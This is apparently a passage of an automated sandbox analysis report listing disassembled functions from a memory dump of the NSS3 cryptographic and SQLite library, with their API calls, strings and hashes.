Part of subcall function 6CC6C6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6CC6DAE2,?), ref: 6CC6C6C2

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CC6F0AE
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CC6F0C8
PK11_FindKeyByAnyCert.NSS3(?,?), ref: 6CC6F101
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CC6F11D
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,?,6CD3218C), ref: 6CC6F183
SEC_GetSignatureAlgorithmOidTag.NSS3(?,00000000), ref: 6CC6F19A
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CC6F1CB
SECKEY_DestroyPrivateKey.NSS3(?), ref: 6CC6F1EF
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6CC6F210

Part of subcall function 6CC152D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?,00000000,?,6CC6F1E9,?,00000000,?,?), ref: 6CC152F5
Part of subcall function 6CC152D0: SEC_GetSignatureAlgorithmOidTag.NSS3(00000000,00000000), ref: 6CC1530F
Part of subcall function 6CC152D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?), ref: 6CC15326
Part of subcall function 6CC152D0: PR_SetError.NSS3(FFFFE0B5,00000000,?,?,00000000,?,6CC6F1E9,?,00000000,?,?), ref: 6CC15340

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CC6F227

Part of subcall function 6CC5FAB0: free.MOZGLUE(?,-00000001,?,?,6CBFF673,00000000,00000000), ref: 6CC5FAC7

SECOID_SetAlgorithmID_Util.NSS3(?,?,?,00000000), ref: 6CC6F23E

Part of subcall function 6CC5BE60: SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6CC0E708,00000000,00000000,00000004,00000000), ref: 6CC5BE6A
Part of subcall function 6CC5BE60: SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6CC104DC,?), ref: 6CC5BE7E
Part of subcall function 6CC5BE60: SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6CC5BEC2

PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CC6F2BB
PR_SetError.NSS3(FFFFE006,00000000), ref: 6CC6F3A8

Part of subcall function 6CCAC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CCAC2BF

SECKEY_DestroyPrivateKey.NSS3(?), ref: 6CC6F3B3

Part of subcall function 6CC12D20: PK11_DestroyObject.NSS3(?,?), ref: 6CC12D3C
Part of subcall function 6CC12D20: PORT_FreeArena_Util.NSS3(?,00000001), ref: 6CC12D5F

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Util$Algorithm$Item_$Tag_$CopyDestroyFind$ErrorK11_PolicyPrivateSignatureZfree$Alloc_ArenaArena_CertEncodeFreeObjectValuefree
String ID:
API String ID: 1559028977-0
Opcode ID: babde9c3239ae3c3a1d36907239185485b693e9a33e590eb13c817ddd93b8b20
Instruction ID: 19ad3f214e918272fc2c7106176cb3abbfdd6ae3fe303385a9f1021262c474a5
Opcode Fuzzy Hash: babde9c3239ae3c3a1d36907239185485b693e9a33e590eb13c817ddd93b8b20
Instruction Fuzzy Hash: 76D14DB6E012059FDB14CF9ADAC0B9EB7B5EF48308F158029D915A7B11FB31E816CB50

Function 6CC9DE10 Relevance: 21.3, APIs: 8, Strings: 4, Instructions: 332threadCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3(FF000001,?,?,?,00000000,6CC77FFA,00000000,?,6CCA23B9,00000002,00000000,?,6CC77FFA,00000002), ref: 6CC9DE33

Part of subcall function 6CCC9090: TlsGetValue.KERNEL32 ref: 6CCC90AB
Part of subcall function 6CCC9090: TlsGetValue.KERNEL32 ref: 6CCC90C9
Part of subcall function 6CCC9090: EnterCriticalSection.KERNEL32 ref: 6CCC90E5
Part of subcall function 6CCC9090: TlsGetValue.KERNEL32 ref: 6CCC9116
Part of subcall function 6CCC9090: LeaveCriticalSection.KERNEL32 ref: 6CCC913F

Part of subcall function 6CC9D000: PORT_ZAlloc_Util.NSS3(00000108,?,6CC9DE74,6CC77FFA,00000002,?,?,?,?,?,00000000,6CC77FFA,00000000,?,6CCA23B9,00000002), ref: 6CC9D008

PR_ExitMonitor.NSS3(FF000001,?,?,?,?,?,00000000,6CC77FFA,00000000,?,6CCA23B9,00000002,00000000,?,6CC77FFA,00000002), ref: 6CC9DE57
memset.VCRUNTIME140(?,00000000,00000088), ref: 6CC9DEA5
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CC9E069
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CC9E121
PK11_FreeSymKey.NSS3(?), ref: 6CC9E14F
PK11_CreateContextBySymKey.NSS3(?,00000000,?,00000000), ref: 6CC9E195
PR_GetCurrentThread.NSS3 ref: 6CC9E1FC

Part of subcall function 6CC92460: PR_SetError.NSS3(FFFFE005,00000000,6CD37379,00000002,?), ref: 6CC92493

Strings

key, xrefs: 6CC9E046
handshake data, xrefs: 6CC9DFF7
early application data, xrefs: 6CC9DFC9
application data, xrefs: 6CC9DFE0

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: ErrorValue$CriticalEnterK11_MonitorSection$Alloc_ContextCreateCurrentExitFreeLeaveThreadUtilmemset
String ID: application data$early application data$handshake data$key
API String ID: 1461918828-2699248424
Opcode ID: 66aaf209a20ab4ea1c4e80b750e8118ebe4a75e7d5453cb0f3db3bf9b8281857
Instruction ID: 0713310df092ce747e9cd4f4210927d2a75d5670128fd341f417b3e7667becc0
Opcode Fuzzy Hash: 66aaf209a20ab4ea1c4e80b750e8118ebe4a75e7d5453cb0f3db3bf9b8281857
Instruction Fuzzy Hash: 4FC1F771B00615ABEB04CF65CC80BAAB7B4FF59308F144129E909ABB51F331E955CBA1

Function 6CB8ECC0 Relevance: 20.0, APIs: 8, Strings: 3, Instructions: 741COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB8ED0A
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB8EE68
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB8EF87
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?), ref: 6CB8EF98

Strings

database corruption, xrefs: 6CB8F48D
%s at line %d of [%.10s], xrefs: 6CB8F492
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CB8F483

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 4101233201-598938438
Opcode ID: 43bbf35bb56d3738fe54866436192925fb28210162cc10d3995728f9d95f0242
Instruction ID: e5085d081877aba7e6f86d78bff1d04bac2361babbd66f5a0405695933c3e4b6
Opcode Fuzzy Hash: 43bbf35bb56d3738fe54866436192925fb28210162cc10d3995728f9d95f0242
Instruction Fuzzy Hash: 3062F134A062C5CFEB04CF65C480BAEBBB1FF45318F184199D9456BB92D735E886CB92

Function 6CC2FC80 Relevance: 19.8, APIs: 13, Instructions: 311COMMON

Download Yara Rule

APIs

PK11_HPKE_NewContext.NSS3(?,?,?,00000000,00000000), ref: 6CC2FD06

Part of subcall function 6CC2F670: PORT_ZAlloc_Util.NSS3(00000038), ref: 6CC2F696
Part of subcall function 6CC2F670: PK11_FreeSymKey.NSS3(?,?,?), ref: 6CC2F789
Part of subcall function 6CC2F670: SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?), ref: 6CC2F796
Part of subcall function 6CC2F670: free.MOZGLUE(00000000,?,?,?,?,?), ref: 6CC2F79F
Part of subcall function 6CC2F670: SECITEM_DupItem_Util.NSS3 ref: 6CC2F7F0

Part of subcall function 6CC53440: PK11_GetAllTokens.NSS3 ref: 6CC53481
Part of subcall function 6CC53440: PR_SetError.NSS3(00000000,00000000), ref: 6CC534A3
Part of subcall function 6CC53440: TlsGetValue.KERNEL32 ref: 6CC5352E
Part of subcall function 6CC53440: EnterCriticalSection.KERNEL32(?), ref: 6CC53542
Part of subcall function 6CC53440: PR_Unlock.NSS3(?), ref: 6CC5355B

SECITEM_DupItem_Util.NSS3(?), ref: 6CC2FDAD

Part of subcall function 6CC5FD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6CC09003,?), ref: 6CC5FD91
Part of subcall function 6CC5FD80: PORT_Alloc_Util.NSS3(A4686CC6,?), ref: 6CC5FDA2
Part of subcall function 6CC5FD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686CC6,?,?), ref: 6CC5FDC4

SECITEM_DupItem_Util.NSS3(?), ref: 6CC2FE00

Part of subcall function 6CC5FD80: free.MOZGLUE(00000000,?,?), ref: 6CC5FDD1

Part of subcall function 6CC4E550: PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC4E5A0

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC2FEBB
PK11_FreeSymKey.NSS3(00000000), ref: 6CC2FEC8
PK11_HPKE_DestroyContext.NSS3(00000000,00000001), ref: 6CC2FED3
PR_SetError.NSS3(FFFFE002,00000000), ref: 6CC2FF0C
PR_SetError.NSS3(FFFFE002,00000000), ref: 6CC2FF23
PK11_ImportSymKey.NSS3(?,?,00000004,82000105,?,00000000), ref: 6CC2FF4D
PR_SetError.NSS3(FFFFE002,00000000), ref: 6CC2FFDA
PK11_ImportSymKey.NSS3(?,0000402A,00000004,0000010C,?,00000000), ref: 6CC30007
PK11_CreateContextBySymKey.NSS3(?,82000105,?,?), ref: 6CC30029
PR_SetError.NSS3(FFFFE002,00000000), ref: 6CC30044

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: K11_$ErrorUtil$Item_$Alloc_Context$FreeImportfree$CreateCriticalDestroyEnterSectionTokensUnlockValueZfreememcpy
String ID:
API String ID: 138705723-0
Opcode ID: 68c1ee105095ff876ceee3604c168af21f7014aaddd48f803069b15092536222
Instruction ID: 789659f783643ab5237ed4b12d96fa9b9862ff41974006a72724b7579d79b2f8
Opcode Fuzzy Hash: 68c1ee105095ff876ceee3604c168af21f7014aaddd48f803069b15092536222
Instruction Fuzzy Hash: 61B1D2B1604315AFE314CF29C880A6BF7E5FF88308F558A2DE99987A41F734E945CB91

Function 6CC27D60 Relevance: 18.3, APIs: 12, Instructions: 299COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?), ref: 6CC27DDC

Part of subcall function 6CC607B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CC08298,?,?,?,6CBFFCE5,?), ref: 6CC607BF
Part of subcall function 6CC607B0: PL_HashTableLookup.NSS3(?,?), ref: 6CC607E6
Part of subcall function 6CC607B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CC6081B
Part of subcall function 6CC607B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CC60825

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CC27DF3
PK11_PBEKeyGen.NSS3(?,00000000,00000000,00000000,?), ref: 6CC27F07
PK11_GetPadMechanism.NSS3(00000000), ref: 6CC27F57
PK11_UnwrapPrivKey.NSS3(?,00000000,00000000,?,0000001C,00000000,?,?,?,00000000,00000130,00000004,?), ref: 6CC27F98
PK11_FreeSymKey.NSS3(?), ref: 6CC27FC9
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CC27FDE
PK11_PBEKeyGen.NSS3(?,?,00000000,00000001,?), ref: 6CC28000

Part of subcall function 6CC49430: SECOID_GetAlgorithmTag_Util.NSS3(00000000,?,?,00000000,00000000,?,6CC27F0C,?,00000000,00000000,00000000,?), ref: 6CC4943B
Part of subcall function 6CC49430: SECOID_FindOIDByTag_Util.NSS3(00000000,?,?), ref: 6CC4946B
Part of subcall function 6CC49430: SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?), ref: 6CC49546

SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CC28110
PK11_FreeSymKey.NSS3(00000000), ref: 6CC2811D
PK11_ImportPublicKey.NSS3(?,?,00000001), ref: 6CC2822D
SECKEY_DestroyPublicKey.NSS3(?), ref: 6CC2823C

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: K11_Util$FindItem_Tag_Zfree$ErrorFreeHashLookupPublicTable$AlgorithmConstDestroyImportMechanismPrivUnwrap
String ID:
API String ID: 1923011919-0
Opcode ID: 6eb79f7f53d53784dc25a641047f2e8164760387bf4812ee4837ee98e7da2fe7
Instruction ID: 839b9e6a110c7a50d778b75647d6074c91d20d5aba5aafa49219ccc333946ac0
Opcode Fuzzy Hash: 6eb79f7f53d53784dc25a641047f2e8164760387bf4812ee4837ee98e7da2fe7
Instruction Fuzzy Hash: A3C16DB1D002199FEB21CF15CC80FEAB7B8AB05308F0081E9E90DA6641F7359E95DFA1

Function 6CC30EC0 Relevance: 16.7, APIs: 11, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_PubDeriveWithKDF.NSS3 ref: 6CC30F8D
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6CC30FB3
PR_SetError.NSS3(FFFFE00E,00000000), ref: 6CC31006
PK11_FreeSymKey.NSS3(?), ref: 6CC3101C
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CC31033
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CC3103F
PK11_FreeSymKey.NSS3(00000000), ref: 6CC31048
memcpy.VCRUNTIME140(?,?,?), ref: 6CC3108E
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6CC310BB
memcpy.VCRUNTIME140(?,00000006,?), ref: 6CC310D6
memcpy.VCRUNTIME140(?,?,?), ref: 6CC3112E

Part of subcall function 6CC31570: htonl.WSOCK32(?,?,?,?,?,?,?,?,6CC308C4,?,?), ref: 6CC315B8
Part of subcall function 6CC31570: htonl.WSOCK32(?,?,?,?,?,?,?,?,?,6CC308C4,?,?), ref: 6CC315C1
Part of subcall function 6CC31570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC3162E
Part of subcall function 6CC31570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC31637

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: K11_$FreeItem_Util$memcpy$AllocZfreehtonl$DeriveErrorWith
String ID:
API String ID: 1510409361-0
Opcode ID: 26e859ace2ebab2f19bd3a9d67e52b970b72df250a5ff65283d01463f4cd5de0
Instruction ID: 2abe1f1a3a74734940b555396f6d1aa1d6654621d77b5a6583b7563c1192315f
Opcode Fuzzy Hash: 26e859ace2ebab2f19bd3a9d67e52b970b72df250a5ff65283d01463f4cd5de0
Instruction Fuzzy Hash: B371F0B5A042158FDB04CFA9EC84AAAB7B0FF48318F14862CE90D97B11F731D956CB91

Function 6CC51CE0 Relevance: 16.2, APIs: 5, Strings: 4, Instructions: 401COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000020), ref: 6CC51F19
memcpy.VCRUNTIME140(?,?,00000020), ref: 6CC52166
memcpy.VCRUNTIME140(?,?,00000010), ref: 6CC5228F
memcpy.VCRUNTIME140(?,?,00000010), ref: 6CC523B8
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CC5241C

Strings

serial, xrefs: 6CC522A2
token, xrefs: 6CC51F2C
model, xrefs: 6CC523CB, 6CC523EC
manufacturer, xrefs: 6CC52179

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: memcpy$Error
String ID: manufacturer$model$serial$token
API String ID: 3204416626-1906384322
Opcode ID: 1466c82fb5c8e8c6221797222dc5f97c9e0b604c02ba15244f4653d383a1833c
Instruction ID: 26fbb388091a8f6e82ed9a9e19bf4de4d33054c654106aef4f3f490fbefcf367
Opcode Fuzzy Hash: 1466c82fb5c8e8c6221797222dc5f97c9e0b604c02ba15244f4653d383a1833c
Instruction Fuzzy Hash: 780264A2D0C7C86EF7318671C85C7C76AE09B4532CF8C166EC5DE86AC3E3A858798355

Function 6CC56C00 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 190memorytimeCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6CC01C6F,00000000,00000004,?,?), ref: 6CC56C3F

Part of subcall function 6CCAC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CCAC2BF

PORT_ArenaAlloc_Util.NSS3(?,0000000D,?,?,00000000,00000000,00000000,?,6CC01C6F,00000000,00000004,?,?), ref: 6CC56C60
PR_ExplodeTime.NSS3(00000000,6CC01C6F,?,?,?,?,?,00000000,00000000,00000000,?,6CC01C6F,00000000,00000004,?,?), ref: 6CC56C94

Strings

gfff, xrefs: 6CC56D66
gfff, xrefs: 6CC56D30
gfff, xrefs: 6CC56D9C
gfff, xrefs: 6CC56CF5
gfff, xrefs: 6CC56CFD

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Alloc_ArenaErrorExplodeTimeUtilValue
String ID: gfff$gfff$gfff$gfff$gfff
API String ID: 3534712800-180463219
Opcode ID: b5cc12bfb2958c21783994c0d49bd5c0ad82eec700ab084c339b1819cdc5a0a0
Instruction ID: d8681493367f0f6263792fb813414dae425b06b7c0bb37abec388c0ba334194d
Opcode Fuzzy Hash: b5cc12bfb2958c21783994c0d49bd5c0ad82eec700ab084c339b1819cdc5a0a0
Instruction Fuzzy Hash: 25514C72B016494FC70CCDADDC926DAB7DAABA4310F48C23AE442DB781E638E916C751

Function 6CCD0F20 Relevance: 15.4, APIs: 3, Strings: 7, Instructions: 394stringCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,-00000001), ref: 6CCD1027
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CCD10B2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CCD1353

Strings

NULL, xrefs: 6CCD119E
%lld, xrefs: 6CCD114B
'%.*q', xrefs: 6CCD1217, 6CCD1292
zeroblob(%d), xrefs: 6CCD1223
$, xrefs: 6CCD12A0
%02x, xrefs: 6CCD12F6
-- , xrefs: 6CCD0FF5

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: memcpy$strlen
String ID: $$%02x$%lld$'%.*q'$-- $NULL$zeroblob(%d)
API String ID: 2619041689-2155869073
Opcode ID: 28cc2702156e8a27e9cff2e14ed9f44e1a578c32c39c01e1014515b6ffa1781e
Instruction ID: d2472ad8caae403969665c978339c2e23475ed6ed285f6de3647ba9b282a25da
Opcode Fuzzy Hash: 28cc2702156e8a27e9cff2e14ed9f44e1a578c32c39c01e1014515b6ffa1781e
Instruction Fuzzy Hash: 1CE1B071A083809FD704DF19D480A6BBBF1BF86368F15891DEA8587B61E771F849CB42

Function 6CCD8FB0 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 289COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CCD8FEE
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CCD90DC
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CCD9118
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CCD915C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CCD91C2
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CCD9209

Strings

3333, xrefs: 6CCD925E
UUUU, xrefs: 6CCD9255

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: _byteswap_ulong$Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: 3333$UUUU
API String ID: 1967222509-2679824526
Opcode ID: 421c9d9ee5a87ec87fd8b5bd67eb7fb927f08caac3a3ef247206f26e71c96f80
Instruction ID: 290b2ac628ffab7c2c8b0e4089f85111b14a956711cee0efbe199d047901b0b4
Opcode Fuzzy Hash: 421c9d9ee5a87ec87fd8b5bd67eb7fb927f08caac3a3ef247206f26e71c96f80
Instruction Fuzzy Hash: BEA19E76E001159BDB04CF69DC91BAEB7B5BB48324F0A4129DA05B7751EB36BC01CBA1

Function 6CB90FE0 Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 227COMMON

Download Yara Rule

APIs

Part of subcall function 6CB8CA30: EnterCriticalSection.KERNEL32(?,?,?,6CBEF9C9,?,6CBEF4DA,6CBEF9C9,?,?,6CBB369A), ref: 6CB8CA7A
Part of subcall function 6CB8CA30: LeaveCriticalSection.KERNEL32(?), ref: 6CB8CB26

memset.VCRUNTIME140(00000000,00000000,00000C0A), ref: 6CB9103E
EnterCriticalSection.KERNEL32(?), ref: 6CB91139
LeaveCriticalSection.KERNEL32(?), ref: 6CB91190
sqlite3_free.NSS3(00000000), ref: 6CB91227
sqlite3_log.NSS3(0000001B,delayed %dms for lock/sharing conflict at line %d,00000001,0000BCFE), ref: 6CB9126E
sqlite3_free.NSS3(?), ref: 6CB9127F

Strings

winAccess, xrefs: 6CB9129B
delayed %dms for lock/sharing conflict at line %d, xrefs: 6CB91267

Memory Dump Source

